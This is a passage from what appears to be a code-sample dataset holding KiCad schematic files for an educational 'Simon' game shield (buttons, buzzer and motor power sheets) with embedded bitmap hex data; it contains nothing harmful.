62 02 94 47 03 EF F3 F6 \n21 AB 74 DE 84 B4 F8 C9 0D 88 4C 05 DD 0D 6C 67 77 A9 99 11 05 32 23 AC 5D A6 33 CA 7F DD 46 BF \n37 28 98 7C 5D 07 8C 43 F5 7E F5 42 63 5E 17 61 79 91 E5 1C 11 4A FD B8 D4 D5 F5 11 90 70 53 7D \n78 11 42 8C 8B 49 C0 8D E2 AF 38 46 16 2F 3B 16 D1 9B C2 DF F2 E7 C5 CB 31 DE 0F E3 81 47 B2 EE \n1A C0 0A D0 8F 00 A3 51 79 B8 75 4F 42 B3 9E 12 72 5A 76 9D 20 7E FD B9 EC E9 5D D0 09 E4 29 F3 \n22 D7 C9 A2 07 CF 94 AA 86 B8 D4 D4 5F 26 7E B2 5E 16 D4 9F 54 44 3B 2D 93 AF 7A 5F F8 FA 23 B6 \nF6 79 1F 3F B9 1D 95 87 8B 93 21 3F 0E DF 4D 86 CC 06 32 B1 F5 E4 D2 09 B4 1F 93 03 5D DE E6 53 \n6E E7 4C 65 45 EB 7B 87 5C 19 D1 AC 07 C5 7F 92 6A DA 8A 9F FC 00 F4 F7 45 E9 37 B4 79 01 E8 B3 \nC0 58 82 E0 69 86 37 6D 0B A7 C2 93 89 E9 5D C5 88 2A 90 FC 74 0B B0 01 D5 F6 29 B4 D2 DA 8C F1 \n20 68 04 D0 4A F7 97 88 FE 3B B0 16 D3 4B DF 45 F4 36 CC D9 56 1B 42 39 80 6E 0E EB ED 71 D8 8B \n56 96 2D 0B ED F6 7F C2 CC A3 57 85 CF 8C 0D E1 5F 0E 87 B5 3C 11 5E EB 0D 32 F1 5C 0A B0 54 C9 \n63 98 05 E1 6B C4 72 91 8E EA 95 27 8C 4B 0B 6B 30 6B 95 2D 08 DF 47 79 14 D8 40 20 A9 90 96 2D \nE1 E7 3D C6 74 F3 E0 6E B9 00 E4 0E CC EC 2A 00 9E 03 F9 2E 43 53 93 3B E7 B1 3D FE 0F E4 2C B5 \nB8 3A B8 3B 5D 00 00 00 00 49 45 4E 44 AE 42 60 82 AC $EndBitmap\nEndData\n$EndBitmap\nWire Wire Line\n\t5350 4600 5250 4600\nWire Wire Line\n\t5350 4400 5250 4400\n$Comp\nL GND #PWR09\nU 1 1 550CF9FF\nP 5350 4700\nF 0 \"#PWR09\" H 5350 4700 30  0001 C CNN\nF 1 \"GND\" H 5350 4630 30  0001 C CNN\nF 2 \"\" H 5350 4700 60  0000 C CNN\nF 3 \"\" H 5350 4700 60  0000 C CNN\n\t1    5350 4700\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t5350 4400 5350 4700\nConnection ~ 5350 4600\nText Notes 5050 4800 0    40   ~ 0\nchassis ground\n$Comp\nL GND #PWR010\nU 1 1 550CFBE5\nP 5350 6250\nF 0 \"#PWR010\" H 5350 6250 30  0001 C CNN\nF 1 \"GND\" H 5350 6180 30  0001 C CNN\nF 2 \"\" H 5350 6250 60  0000 C CNN\nF 3 \"\" H 5350 6250 60  0000 C CNN\n\t1    5350 6250\n\t1    0    0    -1  \n$EndComp\nText Notes 5150 6400 0    40   ~ 0\nchassis ground\n$Comp\nL PWR_FLAG #FLG011\nU 1 1 550CFBF4\nP 5350 6150\nF 0 \"#FLG011\" H 5350 6245 30  0001 C CNN\nF 1 \"PWR_FLAG\" H 5350 6330 30  0000 C CNN\nF 2 \"\" H 5350 6150 60  0000 C CNN\nF 3 \"\" H 5350 6150 60  0000 C CNN\n\t1    5350 6150\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t5350 6150 5350 6250\n$Comp\nL CONN_1 P5\nU 1 1 550D1AD1\nP 5000 6150\nF 0 \"P5\" H 5080 6150 40  0000 L CNN\nF 1 \"GND\" H 5000 6205 30  0001 C CNN\nF 2 \"mfk-AVA-20ga\" H 5000 6150 60  0001 C CNN\nF 3 \"\" H 5000 6150 60  0000 C CNN\n\t1    5000 6150\n\t-1   0    0    1   \n$EndComp\nWire Wire Line\n\t5150 6150 5350 6150\n$Comp\nL C C2\nU 1 1 550D2A54\nP 6900 5500\nF 0 \"C2\" H 6900 5600 40  0000 L CNN\nF 1 \"1u\" H 6906 5415 40  0000 L CNN\nF 2 \"mfk-C_4.0_2.5_2.5_0.5\" H 6938 5350 30  0001 C CNN\nF 3 \"TDK FK18X5R1A105K\" H 6900 5500 60  0001 C CNN\n\t1    6900 5500\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t6900 5150 6900 5300\n$Comp\nL DGND #PWR012\nU 1 1 550D2ACA\nP 6900 5800\nF 0 \"#PWR012\" H 6900 5800 40  0001 C CNN\nF 1 \"DGND\" H 6900 5730 40  0000 C CNN\nF 2 \"\" H 6900 5800 60  0000 C CNN\nF 3 \"\" H 6900 5800 60  0000 C CNN\n\t1    6900 5800\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t6900 5800 6900 5700\nNoConn ~ 8300 4400\nNoConn ~ 8300 4850\nConnection ~ 8450 5000\nWire Wire Line\n\t8450 3750 8450 4100\nWire Wire Line\n\t7600 3650 7600 3750\nConnection ~ 7600 3750\nWire Wire Line\n\t6900 4100 6750 4100\nWire Wire Line\n\t6150 4150 6150 4400\nConnection ~ 8450 4100\nWire Wire Line\n\t8300 5150 8450 5150\nConnection ~ 8450 5150\nWire Wire Line\n\t6900 5000 6400 5000\nWire Wire Line\n\t6400 5000 6400 6150\n$Comp\nL CONN_3 P3\nU 1 1 551F2247\nP 2750 1800\nF 0 \"P3\" V 2700 1800 50  0000 C CNN\nF 1 \"PWR\" V 2800 1800 40  0000 C CNN\nF 2 \"mfk-TE_282834-3\" H 2750 1800 60  0001 C CNN\nF 3 \"\" H 2750 1800 60  0000 C CNN\n\t1    2750 1800\n\t-1   0    0    -1  \n$EndComp\nWire Wire Line\n\t3650 1800 3100 1800\nWire Wire Line\n\t3100 1700 3350 1700\nWire Wire Line\n\t3150 1250 3150 1700\nText Label 3150 1250 3    60   ~ 0\nV_MOT\nWire Wire Line\n\t6750 4100 6750 3750\nWire Wire Line\n\t6750 5150 6750 6150\nText Label 6750 6150 1    60   ~ 0\nV_MOT\n$Comp\nL PWR_FLAG #FLG013\nU 1 1 551F243F\nP 3350 1650\nF 0 \"#FLG013\" H 3350 1745 30  0001 C CNN\nF 1 \"PWR_FLAG\" H 3350 1830 30  0000 C CNN\nF 2 \"\" H 3350 1650 60  0000 C CNN\nF 3 \"\" H 3350 1650 60  0000 C CNN\n\t1    3350 1650\n\t-1   0    0    -1  \n$EndComp\nConnection ~ 3150 1700\nWire Wire Line\n\t3350 1700 3350 1650\n$Comp\nL JUMPER J1\nU 1 1 552023B1\nP 4750 1800\nF 0 \"J1\" H 4750 1950 60  0000 C CNN\nF 1 \"PWR_BR\" H 4750 1720 40  0000 C CNN\nF 2 \"mfk-SIL-2\" H 4750 1800 60  0001 C CNN\nF 3 \"~\" H 4750 1800 60  0000 C CNN\n\t1    4750 1800\n\t1    0    0    -1  \n$EndComp\n$Comp\nL +5VD #PWR014\nU 1 1 552023F3\nP 4400 1450\nF 0 \"#PWR014\" H 4400 1400 20  0001 C CNN\nF 1 \"+5VD\" H 4400 1550 50  0000 C CNN\nF 2 \"\" H 4400 1450 60  0000 C CNN\nF 3 \"\" H 4400 1450 60  0000 C CNN\n\t1    4400 1450\n\t-1   0    0    -1  \n$EndComp\nWire Wire Line\n\t4450 1800 4400 1800\nWire Wire Line\n\t4400 1800 4400 1450\nText Label 5100 1350 3    60   ~ 0\nV_MOT\nWire Wire Line\n\t5050 1800 5100 1800\nWire Wire Line\n\t5100 1800 5100 1350\nText Notes 4000 2000 0    60   ~ 0\nUse jumper to power motor from +5VD.\n$EndSCHEMATC\n"
  },
  {
    "path": "samples/KiCad Schematic/buttons.sch",
    "content": "EESchema Schematic File Version 2\nLIBS:simonLib\nLIBS:power\nLIBS:simonShield-cache\nEELAYER 25 0\nEELAYER END\n$Descr A4 11693 8268\nencoding utf-8\nSheet 2 4\nTitle \"Poncho Simon EDU-CIAA\"\nDate \"2016-07-26\"\nRev \"1.0\"\nComp \"Proyecto CIAA\"\nComment1 \"Juan Agustin Bassi\"\nComment2 \"CESE - Diseño PCB\"\nComment3 \"Licencia BSD\"\nComment4 \"\"\n$EndDescr\n$Comp\nL SW_PUSH SW1\nU 1 1 5777DBBB\nP 3500 3000\nF 0 \"SW1\" H 3650 3110 50  0000 C CNN\nF 1 \"SW_PUSH\" H 3500 2920 50  0000 C CNN\nF 2 \"simonShield:SW_PUSH_SMALL\" H 3500 3000 50  0001 C CNN\nF 3 \"\" H 3500 3000 50  0000 C CNN\nF 4 \"450-1804-ND\" H 3500 3000 60  0001 C CNN \"Digikey#\"\n\t1    3500 3000\n\t1    0    0    -1  \n$EndComp\n$Comp\nL R R1\nU 1 1 5777DBC2\nP 3150 2750\nF 0 \"R1\" V 3230 2750 50  0000 C CNN\nF 1 \"3K3\" V 3150 2750 50  0000 C CNN\nF 2 \"simonShield:Resistor_Horizontal_RM7mm\" V 3080 2750 50  0001 C CNN\nF 3 \"\" H 3150 2750 50  0000 C CNN\nF 4 \"680EBK-ND\" H 3150 2750 60  0001 C CNN \"Digikey#\"\n\t1    3150 2750\n\t-1   0    0    1   \n$EndComp\n$Comp\nL GND #PWR05\nU 1 1 5777DBC9\nP 3900 3100\nF 0 \"#PWR05\" H 3900 2850 50  0001 C CNN\nF 1 \"GND\" H 3900 2950 50  0000 C CNN\nF 2 \"\" H 3900 3100 50  0000 C CNN\nF 3 \"\" H 3900 3100 50  0000 C CNN\n\t1    3900 3100\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t3150 2450 3150 2600\nWire Wire Line\n\t3150 2900 3150 3000\nWire Wire Line\n\t3800 3000 3900 3000\nWire Wire Line\n\t3900 3000 3900 3100\nConnection ~ 3150 3000\n$Comp\nL SW_PUSH SW3\nU 1 1 5777DBDD\nP 5050 3000\nF 0 \"SW3\" H 5200 3110 50  0000 C CNN\nF 1 \"SW_PUSH\" H 5050 2920 50  0000 C CNN\nF 2 \"simonShield:SW_PUSH_SMALL\" H 5050 3000 50  0001 C CNN\nF 3 \"\" H 5050 3000 50  0000 C CNN\nF 4 \"450-1804-ND\" H 5050 3000 60  0001 C CNN \"Digikey#\"\n\t1    5050 3000\n\t1    0    0    -1  \n$EndComp\n$Comp\nL GND #PWR06\nU 1 1 5777DBEB\nP 5450 3100\nF 0 \"#PWR06\" H 5450 2850 50  0001 C CNN\nF 1 \"GND\" H 5450 2950 50  0000 C CNN\nF 2 \"\" H 5450 3100 50  0000 C CNN\nF 3 \"\" H 5450 3100 50  0000 C CNN\n\t1    5450 3100\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t4700 2450 4700 2600\nWire Wire Line\n\t4700 2900 4700 3000\nWire Wire Line\n\t5350 3000 5450 3000\nWire Wire Line\n\t5450 3000 5450 3100\nConnection ~ 4700 3000\n$Comp\nL SW_PUSH SW5\nU 1 1 5777DBFF\nP 6600 3000\nF 0 \"SW5\" H 6750 3110 50  0000 C CNN\nF 1 \"SW_PUSH\" H 6600 2920 50  0000 C CNN\nF 2 \"simonShield:SW_PUSH_SMALL\" H 6600 3000 50  0001 C CNN\nF 3 \"\" H 6600 3000 50  0000 C CNN\nF 4 \"450-1804-ND\" H 6600 3000 60  0001 C CNN \"Digikey#\"\n\t1    6600 3000\n\t1    0    0    -1  \n$EndComp\n$Comp\nL GND #PWR07\nU 1 1 5777DC0D\nP 7000 3100\nF 0 \"#PWR07\" H 7000 2850 50  0001 C CNN\nF 1 \"GND\" H 7000 2950 50  0000 C CNN\nF 2 \"\" H 7000 3100 50  0000 C CNN\nF 3 \"\" H 7000 3100 50  0000 C CNN\n\t1    7000 3100\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t6250 2450 6250 2600\nWire Wire Line\n\t6250 2900 6250 3000\nWire Wire Line\n\t6900 3000 7000 3000\nWire Wire Line\n\t7000 3000 7000 3100\nConnection ~ 6250 3000\n$Comp\nL SW_PUSH SW7\nU 1 1 5777DC21\nP 8150 3000\nF 0 \"SW7\" H 8300 3110 50  0000 C CNN\nF 1 \"SW_PUSH\" H 8150 2920 50  0000 C CNN\nF 2 \"simonShield:SW_PUSH_SMALL\" H 8150 3000 50  0001 C CNN\nF 3 \"\" H 8150 3000 50  0000 C CNN\nF 4 \"450-1804-ND\" H 8150 3000 60  0001 C CNN \"Digikey#\"\n\t1    8150 3000\n\t1    0    0    -1  \n$EndComp\n$Comp\nL GND #PWR08\nU 1 1 5777DC2F\nP 8550 3100\nF 0 \"#PWR08\" H 8550 2850 50  0001 C CNN\nF 1 \"GND\" H 8550 2950 50  0000 C CNN\nF 2 \"\" H 8550 3100 50  0000 C CNN\nF 3 \"\" H 8550 3100 50  0000 C CNN\n\t1    8550 3100\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t7800 2450 7800 2600\nWire Wire Line\n\t7800 2900 7800 3000\nWire Wire Line\n\t8450 3000 8550 3000\nWire Wire Line\n\t8550 3000 8550 3100\nConnection ~ 7800 3000\n$Comp\nL SW_PUSH SW2\nU 1 1 5777DC43\nP 3550 4350\nF 0 \"SW2\" H 3700 4460 50  0000 C CNN\nF 1 \"SW_PUSH\" H 3550 4270 50  0000 C CNN\nF 2 \"simonShield:SW_PUSH_SMALL\" H 3550 4350 50  0001 C CNN\nF 3 \"\" H 3550 4350 50  0000 C CNN\nF 4 \"450-1804-ND\" H 3550 4350 60  0001 C CNN \"Digikey#\"\n\t1    3550 4350\n\t1    0    0    -1  \n$EndComp\n$Comp\nL GND #PWR09\nU 1 1 5777DC51\nP 3950 4450\nF 0 \"#PWR09\" H 3950 4200 50  0001 C CNN\nF 1 \"GND\" H 3950 4300 50  0000 C CNN\nF 2 \"\" H 3950 4450 50  0000 C CNN\nF 3 \"\" H 3950 4450 50  0000 C CNN\n\t1    3950 4450\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t3200 3800 3200 3950\nWire Wire Line\n\t3200 4250 3200 4350\nWire Wire Line\n\t3850 4350 3950 4350\nWire Wire Line\n\t3950 4350 3950 4450\nConnection ~ 3200 4350\n$Comp\nL SW_PUSH SW4\nU 1 1 5777DC65\nP 5100 4350\nF 0 \"SW4\" H 5250 4460 50  0000 C CNN\nF 1 \"SW_PUSH\" H 5100 4270 50  0000 C CNN\nF 2 \"simonShield:SW_PUSH_SMALL\" H 5100 4350 50  0001 C CNN\nF 3 \"\" H 5100 4350 50  0000 C CNN\nF 4 \"450-1804-ND\" H 5100 4350 60  0001 C CNN \"Digikey#\"\n\t1    5100 4350\n\t1    0    0    -1  \n$EndComp\n$Comp\nL GND #PWR010\nU 1 1 5777DC73\nP 5500 4450\nF 0 \"#PWR010\" H 5500 4200 50  0001 C CNN\nF 1 \"GND\" H 5500 4300 50  0000 C CNN\nF 2 \"\" H 5500 4450 50  0000 C CNN\nF 3 \"\" H 5500 4450 50  0000 C CNN\n\t1    5500 4450\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t4750 4250 4750 4350\nWire Wire Line\n\t5400 4350 5500 4350\nWire Wire Line\n\t5500 4350 5500 4450\nConnection ~ 4750 4350\n$Comp\nL SW_PUSH SW6\nU 1 1 5777DC87\nP 6650 4350\nF 0 \"SW6\" H 6800 4460 50  0000 C CNN\nF 1 \"SW_PUSH\" H 6650 4270 50  0000 C CNN\nF 2 \"simonShield:SW_PUSH_SMALL\" H 6650 4350 50  0001 C CNN\nF 3 \"\" H 6650 4350 50  0000 C CNN\nF 4 \"450-1804-ND\" H 6650 4350 60  0001 C CNN \"Digikey#\"\n\t1    6650 4350\n\t1    0    0    -1  \n$EndComp\n$Comp\nL GND #PWR011\nU 1 1 5777DC95\nP 7050 4450\nF 0 \"#PWR011\" H 7050 4200 50  0001 C CNN\nF 1 \"GND\" H 7050 4300 50  0000 C CNN\nF 2 \"\" H 7050 4450 50  0000 C CNN\nF 3 \"\" H 7050 4450 50  0000 C CNN\n\t1    7050 4450\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t6300 3800 6300 3950\nWire Wire Line\n\t6300 4250 6300 4350\nWire Wire Line\n\t6950 4350 7050 4350\nWire Wire Line\n\t7050 4350 7050 4450\nConnection ~ 6300 4350\n$Comp\nL SW_PUSH SW8\nU 1 1 5777DCA9\nP 8200 4350\nF 0 \"SW8\" H 8350 4460 50  0000 C CNN\nF 1 \"SW_PUSH\" H 8200 4270 50  0000 C CNN\nF 2 \"simonShield:SW_PUSH_SMALL\" H 8200 4350 50  0001 C CNN\nF 3 \"\" H 8200 4350 50  0000 C CNN\nF 4 \"450-1804-ND\" H 8200 4350 60  0001 C CNN \"Digikey#\"\n\t1    8200 4350\n\t1    0    0    -1  \n$EndComp\n$Comp\nL GND #PWR012\nU 1 1 5777DCB7\nP 8600 4450\nF 0 \"#PWR012\" H 8600 4200 50  0001 C CNN\nF 1 \"GND\" H 8600 4300 50  0000 C CNN\nF 2 \"\" H 8600 4450 50  0000 C CNN\nF 3 \"\" H 8600 4450 50  0000 C CNN\n\t1    8600 4450\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t7850 3800 7850 3950\nWire Wire Line\n\t7850 4250 7850 4350\nWire Wire Line\n\t8500 4350 8600 4350\nWire Wire Line\n\t8600 4350 8600 4450\nConnection ~ 7850 4350\nWire Notes Line\n\t2400 1850 2400 4700\nWire Notes Line\n\t2400 4700 8800 4700\nWire Notes Line\n\t8800 4700 8800 1850\nWire Notes Line\n\t8800 2150 2400 2150\nText HLabel 2950 2800 0    60   Input ~ 0\nBTN_LED_1\nWire Wire Line\n\t2950 3000 3200 3000\nWire Wire Line\n\t2950 3000 2950 2800\nText HLabel 4500 2800 0    60   Input ~ 0\nBTN_LED_2\nText HLabel 6050 2800 0    60   Input ~ 0\nBTN_LED_3\nText HLabel 7600 2800 0    60   Input ~ 0\nBTN_LED_4\nWire Wire Line\n\t4500 3000 4750 3000\nWire Wire Line\n\t4500 3000 4500 2800\nWire Wire Line\n\t6050 3000 6300 3000\nWire Wire Line\n\t6050 3000 6050 2800\nWire Wire Line\n\t7600 3000 7850 3000\nWire Wire Line\n\t7600 3000 7600 2800\nText HLabel 3000 4150 0    60   Input ~ 0\nBTN_CFG_1\nWire Wire Line\n\t3000 4350 3250 4350\nWire Wire Line\n\t3000 4350 3000 4150\nText HLabel 4550 4150 0    60   Input ~ 0\nBTN_CFG_2\nText HLabel 6100 4150 0    60   Input ~ 0\nBTN_CFG_3\nText HLabel 7650 4150 0    60   Input ~ 0\nBTN_CFG_4\nWire Wire Line\n\t4550 4150 4550 4350\nWire Wire Line\n\t4550 4350 4800 4350\nWire Wire Line\n\t6100 4150 6100 4350\nWire Wire Line\n\t6100 4350 6350 4350\nWire Wire Line\n\t7650 4150 7650 4350\nWire Wire Line\n\t7650 4350 7900 4350\n$Comp\nL R R3\nU 1 1 577967E7\nP 4700 2750\nF 0 \"R3\" V 4780 2750 50  0000 C CNN\nF 1 \"3K3\" V 4700 2750 50  0000 C CNN\nF 2 \"simonShield:Resistor_Horizontal_RM7mm\" V 4630 2750 50  0001 C CNN\nF 3 \"\" H 4700 2750 50  0000 C CNN\nF 4 \"680EBK-ND\" H 4700 2750 60  0001 C CNN \"Digikey#\"\n\t1    4700 2750\n\t-1   0    0    1   \n$EndComp\n$Comp\nL R R5\nU 1 1 57796847\nP 6250 2750\nF 0 \"R5\" V 6330 2750 50  0000 C CNN\nF 1 \"3K3\" V 6250 2750 50  0000 C CNN\nF 2 \"simonShield:Resistor_Horizontal_RM7mm\" V 6180 2750 50  0001 C CNN\nF 3 \"\" H 6250 2750 50  0000 C CNN\nF 4 \"680EBK-ND\" H 6250 2750 60  0001 C CNN \"Digikey#\"\n\t1    6250 2750\n\t-1   0    0    1   \n$EndComp\n$Comp\nL R R7\nU 1 1 577968BC\nP 7800 2750\nF 0 \"R7\" V 7880 2750 50  0000 C CNN\nF 1 \"3K3\" V 7800 2750 50  0000 C CNN\nF 2 \"simonShield:Resistor_Horizontal_RM7mm\" V 7730 2750 50  0001 C CNN\nF 3 \"\" H 7800 2750 50  0000 C CNN\nF 4 \"680EBK-ND\" H 7800 2750 60  0001 C CNN \"Digikey#\"\n\t1    7800 2750\n\t-1   0    0    1   \n$EndComp\n$Comp\nL R R2\nU 1 1 5779693E\nP 3200 4100\nF 0 \"R2\" V 3280 4100 50  0000 C CNN\nF 1 \"3K3\" V 3200 4100 50  0000 C CNN\nF 2 \"simonShield:Resistor_Horizontal_RM7mm\" V 3130 4100 50  0001 C CNN\nF 3 \"\" H 3200 4100 50  0000 C CNN\nF 4 \"680EBK-ND\" H 3200 4100 60  0001 C CNN \"Digikey#\"\n\t1    3200 4100\n\t-1   0    0    1   \n$EndComp\n$Comp\nL R R4\nU 1 1 577969F3\nP 4750 4100\nF 0 \"R4\" V 4830 4100 50  0000 C CNN\nF 1 \"3K3\" V 4750 4100 50  0000 C CNN\nF 2 \"simonShield:Resistor_Horizontal_RM7mm\" V 4680 4100 50  0001 C CNN\nF 3 \"\" H 4750 4100 50  0000 C CNN\nF 4 \"680EBK-ND\" H 4750 4100 60  0001 C CNN \"Digikey#\"\n\t1    4750 4100\n\t-1   0    0    1   \n$EndComp\n$Comp\nL R R6\nU 1 1 57796A6F\nP 6300 4100\nF 0 \"R6\" V 6380 4100 50  0000 C CNN\nF 1 \"3K3\" V 6300 4100 50  0000 C CNN\nF 2 \"simonShield:Resistor_Horizontal_RM7mm\" V 6230 4100 50  0001 C CNN\nF 3 \"\" H 6300 4100 50  0000 C CNN\nF 4 \"680EBK-ND\" H 6300 4100 60  0001 C CNN \"Digikey#\"\n\t1    6300 4100\n\t-1   0    0    1   \n$EndComp\n$Comp\nL R R8\nU 1 1 57796AEC\nP 7850 4100\nF 0 \"R8\" V 7930 4100 50  0000 C CNN\nF 1 \"3K3\" V 7850 4100 50  0000 C CNN\nF 2 \"simonShield:Resistor_Horizontal_RM7mm\" V 7780 4100 50  0001 C CNN\nF 3 \"\" H 7850 4100 50  0000 C CNN\nF 4 \"680EBK-ND\" H 7850 4100 60  0001 C CNN \"Digikey#\"\n\t1    7850 4100\n\t-1   0    0    1   \n$EndComp\nText Notes 5400 2050 0    60   ~ 12\nBUTTONS\\n\nWire Notes Line\n\t8800 1850 2400 1850\nWire Wire Line\n\t4750 3950 4750 3800\n$Comp\nL VCC #PWR013\nU 1 1 5798AF98\nP 4750 3800\nF 0 \"#PWR013\" H 4750 3650 50  0001 C CNN\nF 1 \"VCC\" H 4750 3950 50  0000 C CNN\nF 2 \"\" H 4750 3800 50  0000 C CNN\nF 3 \"\" H 4750 3800 50  0000 C CNN\n\t1    4750 3800\n\t1    0    0    -1  \n$EndComp\n$Comp\nL VCC #PWR014\nU 1 1 5798B8B6\nP 3200 3800\nF 0 \"#PWR014\" H 3200 3650 50  0001 C CNN\nF 1 \"VCC\" H 3200 3950 50  0000 C CNN\nF 2 \"\" H 3200 3800 50  0000 C CNN\nF 3 \"\" H 3200 3800 50  0000 C CNN\n\t1    3200 3800\n\t1    0    0    -1  \n$EndComp\n$Comp\nL VCC #PWR015\nU 1 1 5798B8F1\nP 6300 3800\nF 0 \"#PWR015\" H 6300 3650 50  0001 C CNN\nF 1 \"VCC\" H 6300 3950 50  0000 C CNN\nF 2 \"\" H 6300 3800 50  0000 C CNN\nF 3 \"\" H 6300 3800 50  0000 C CNN\n\t1    6300 3800\n\t1    0    0    -1  \n$EndComp\n$Comp\nL VCC #PWR016\nU 1 1 5798B9EC\nP 7850 3800\nF 0 \"#PWR016\" H 7850 3650 50  0001 C CNN\nF 1 \"VCC\" H 7850 3950 50  0000 C CNN\nF 2 \"\" H 7850 3800 50  0000 C CNN\nF 3 \"\" H 7850 3800 50  0000 C CNN\n\t1    7850 3800\n\t1    0    0    -1  \n$EndComp\n$Comp\nL VCC #PWR017\nU 1 1 5798BB07\nP 7800 2450\nF 0 \"#PWR017\" H 7800 2300 50  0001 C CNN\nF 1 \"VCC\" H 7800 2600 50  0000 C CNN\nF 2 \"\" H 7800 2450 50  0000 C CNN\nF 3 \"\" H 7800 2450 50  0000 C CNN\n\t1    7800 2450\n\t1    0    0    -1  \n$EndComp\n$Comp\nL VCC #PWR018\nU 1 1 5798BB42\nP 6250 2450\nF 0 \"#PWR018\" H 6250 2300 50  0001 C CNN\nF 1 \"VCC\" H 6250 2600 50  0000 C CNN\nF 2 \"\" H 6250 2450 50  0000 C CNN\nF 3 \"\" H 6250 2450 50  0000 C CNN\n\t1    6250 2450\n\t1    0    0    -1  \n$EndComp\n$Comp\nL VCC #PWR019\nU 1 1 5798BB7D\nP 4700 2450\nF 0 \"#PWR019\" H 4700 2300 50  0001 C CNN\nF 1 \"VCC\" H 4700 2600 50  0000 C CNN\nF 2 \"\" H 4700 2450 50  0000 C CNN\nF 3 \"\" H 4700 2450 50  0000 C CNN\n\t1    4700 2450\n\t1    0    0    -1  \n$EndComp\n$Comp\nL VCC #PWR020\nU 1 1 5798BBB8\nP 3150 2450\nF 0 \"#PWR020\" H 3150 2300 50  0001 C CNN\nF 1 \"VCC\" H 3150 2600 50  0000 C CNN\nF 2 \"\" H 3150 2450 50  0000 C CNN\nF 3 \"\" H 3150 2450 50  0000 C CNN\n\t1    3150 2450\n\t1    0    0    -1  \n$EndComp\n$EndSCHEMATC\n"
  },
  {
    "path": "samples/KiCad Schematic/buzzer.sch",
    "content": "EESchema Schematic File Version 2\nLIBS:simonShield-rescue\nLIBS:simonLib\nLIBS:74xgxx\nLIBS:74xx\nLIBS:ac-dc\nLIBS:actel\nLIBS:adc-dac\nLIBS:Altera\nLIBS:analog_devices\nLIBS:analog_switches\nLIBS:atmel\nLIBS:audio\nLIBS:brooktre\nLIBS:cmos4000\nLIBS:cmos_ieee\nLIBS:conn\nLIBS:contrib\nLIBS:cypress\nLIBS:dc-dc\nLIBS:device\nLIBS:digital-audio\nLIBS:diode\nLIBS:display\nLIBS:dsp\nLIBS:elec-unifil\nLIBS:ESD_Protection\nLIBS:ftdi\nLIBS:gennum\nLIBS:graphic\nLIBS:hc11\nLIBS:intel\nLIBS:interface\nLIBS:ir\nLIBS:Lattice\nLIBS:linear\nLIBS:logo\nLIBS:maxim\nLIBS:memory\nLIBS:microchip\nLIBS:microchip_dspic33dsc\nLIBS:microchip_pic10mcu\nLIBS:microchip_pic12mcu\nLIBS:microchip_pic16mcu\nLIBS:microchip_pic18mcu\nLIBS:microchip_pic32mcu\nLIBS:microcontrollers\nLIBS:motor_drivers\nLIBS:motorola\nLIBS:msp430\nLIBS:nordicsemi\nLIBS:nxp_armmcu\nLIBS:onsemi\nLIBS:opto\nLIBS:Oscillators\nLIBS:philips\nLIBS:power\nLIBS:powerint\nLIBS:Power_Management\nLIBS:pspice\nLIBS:references\nLIBS:regul\nLIBS:relays\nLIBS:rfcom\nLIBS:sensors\nLIBS:silabs\nLIBS:siliconi\nLIBS:stm8\nLIBS:stm32\nLIBS:supertex\nLIBS:switches\nLIBS:texas\nLIBS:transf\nLIBS:transistors\nLIBS:ttl_ieee\nLIBS:valves\nLIBS:video\nLIBS:Worldsemi\nLIBS:Xicor\nLIBS:xilinx\nLIBS:Zilog\nLIBS:simonShield-cache\nEELAYER 25 0\nEELAYER END\n$Descr A4 11693 8268\nencoding utf-8\nSheet 3 5\nTitle \"Poncho Simon EDU-CIAA\"\nDate \"2016-07-26\"\nRev \"1.0\"\nComp \"Proyecto CIAA\"\nComment1 \"Juan Agustin Bassi\"\nComment2 \"CESE - Diseño PCB\"\nComment3 \"Licencia BSD\"\nComment4 \"\"\n$EndDescr\n$Comp\nL BUZZER U1\nU 1 1 5777FCBE\nP 5600 4150\nF 0 \"U1\" H 5600 4150 60  0000 C CNN\nF 1 \"BUZZER\" H 5600 4150 60  0000 C CNN\nF 2 \"footprints:MagneticBuzzer_ProSignal_ABT-410-RC\" H 5600 4150 60  0001 C CNN\nF 3 \"\" H 5600 4150 60  0000 C CNN\nF 4 \"445-2525-1-ND\" H 5600 4150 60  0001 C CNN \"Digikey#\"\n\t1    5600 4150\n\t0    1    1    0   \n$EndComp\n$Comp\nL BC547 Q1\nU 1 1 5777FCC6\nP 5500 3350\nF 0 \"Q1\" H 5700 3425 50  0000 L CNN\nF 1 \"BC547\" H 5700 3350 50  0000 L CNN\nF 2 \"simonShield:TO-92_Molded_Narrow\" H 5700 3275 50  0000 L CIN\nF 3 \"\" H 5500 3350 50  0000 L CNN\nF 4 \"BC33725TACT-ND\" H 5500 3350 60  0001 C CNN \"Digikey#\"\n\t1    5500 3350\n\t1    0    0    -1  \n$EndComp\n$Comp\nL R R9\nU 1 1 5777FCCD\nP 5050 3350\nF 0 \"R9\" V 5130 3350 50  0000 C CNN\nF 1 \"3K3\" V 5050 3350 50  0000 C CNN\nF 2 \"footprints:Resistor_Horizontal_RM7mm\" V 4980 3350 50  0001 C CNN\nF 3 \"\" H 5050 3350 50  0000 C CNN\nF 4 \"680EBK-ND\" H 5050 3350 60  0001 C CNN \"Digikey#\"\n\t1    5050 3350\n\t0    1    1    0   \n$EndComp\n$Comp\nL GND #PWR017\nU 1 1 5777FCDA\nP 5600 4850\nF 0 \"#PWR017\" H 5600 4600 50  0001 C CNN\nF 1 \"GND\" H 5600 4700 50  0000 C CNN\nF 2 \"\" H 5600 4850 50  0000 C CNN\nF 3 \"\" H 5600 4850 50  0000 C CNN\n\t1    5600 4850\n\t1    0    0    -1  \n$EndComp\nWire Wire Line\n\t5600 2600 5600 3150\nWire Wire Line\n\t5600 3550 5600 3700\nWire Wire Line\n\t5600 4700 5600 4850\nWire Wire Line\n\t5200 3350 5300 3350\nText HLabel 4700 3050 0    60   Input ~ 0\nPWM\nWire Wire Line\n\t4700 3050 4700 